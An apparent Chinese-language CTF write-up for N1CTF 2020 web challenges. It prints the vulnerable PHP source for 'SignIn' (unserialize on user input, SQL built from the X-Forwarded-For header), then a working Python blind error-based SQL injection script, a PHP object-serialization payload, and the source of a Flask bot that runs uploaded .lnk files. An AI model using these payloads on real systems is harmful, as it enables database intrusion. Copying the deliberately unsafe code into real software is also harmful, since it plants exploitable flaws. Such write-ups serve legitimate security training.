wtcl!

web

SignIn

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php 
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}

class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}

}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}

感觉可以直接绕过__wakeup通过报错注入的方法来 但测得不行 不知道为啥

没办法 用报错注入的bool盲注方法 可以看到数据库名字为n1ctf_websign 包含n1ctf 看下图吧

image-20201018132709372 image-20201018132822118

所以就可以把database()位置替换成判断了 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url='http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}'
flag=''
for i in range(1,500):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="1' or updatexml(1,concat(0x7c,if(ascii(substr((select group_concat(`key`) from n1key),{},1))>{},database(),0)),1) or '".format(str(i),str(mid))
p2="1' or updatexml(1,concat(0x7c,if(ascii(substr((select group_concat(`key`) from n1key),{},1))={},database(),0)),1) or '".format(str(i),str(mid))
headers1={'X-Forwarded-For':p1}
headers2={'X-Forwarded-For':p2}
try:
r1=requests.get(url,headers=headers2)
print(i,mid)
if '<code>welcome to n1ctf2020</code>' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url,headers=headers1)
if '<code>welcome to n1ctf2020</code>' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass

if flag==f1:
break

注意最后的key要加上反引号 key是mysql的保留字 参考:https://www.cnblogs.com/yangzailu/p/6694000.html

接着序列化就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
class ip {
public $ip;
public function __construct(){
}

}

class flag {
public $ip;
public $check;
public function __construct() {
$this->ip = new ip();
$this->check = 'n1ctf20205bf75ab0a30dfc0c';
}

}
$a = new flag();
echo serialize($a);

The King Of Phish (Victim Bot)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Victim bot
import os
import subprocess
import uuid
import LnkParse3 as Lnk
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
return source


@app.route('/send', methods=['POST'])
def sendFile():
if 'file' not in request.files:
return 'No file part'
file = request.files['file']

if file.filename == '':
return 'No selected file'
data = file.stream.read()
if not data.startswith(b"\x4c\x00"):
return "You're a bad guy!"
shortcut = Lnk.lnk_file(indata=data)
if shortcut.data['command_line_arguments'].count(" "):
return "File is killed by antivirus."
filename = str(uuid.uuid4())+".lnk"
fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
open(fullname, "wb").write(data)
clickLnk(fullname)
return "Clicked."


def clickLnk(lnkPath):
subprocess.run('cmd /c "%s"' % lnkPath, capture_output=True, shell=True, check=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

评论